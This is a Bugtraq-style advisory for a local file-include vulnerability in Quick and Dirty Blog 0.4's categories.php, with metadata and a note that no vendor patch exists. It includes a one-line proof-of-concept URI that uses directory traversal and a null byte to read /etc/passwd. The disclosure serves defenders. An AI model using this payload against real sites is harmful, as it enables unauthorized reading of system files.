Quick and Dirty Blog Categories.PHP Local File Include Vulnerability

Bugtraq ID:	26317
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 03 2007 12:00AM
Updated:	Nov 15 2007 12:38AM
Credit:	Gold_M is credited with the discovery of this vulnerability.
Vulnerable:	Quick and Dirty Blog Quick and Dirty Blog 0.4
Not Vulnerable:

Quick and Dirty Blog Categories.PHP Local File Include Vulnerability

Quick and Dirty Blog (QDBlog) is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

QDBlog 0.4 is vulnerable to this issue; other versions may also be affected.

Quick and Dirty Blog Categories.PHP Local File Include Vulnerability

Attackers can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/categories.php?theme=../../../../../../../../../../../etc/passwd%00

Quick and Dirty Blog Categories.PHP Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Quick and Dirty Blog Categories.PHP Local File Include Vulnerability

References:

• Project Homepage (Quick and Dirty Blog)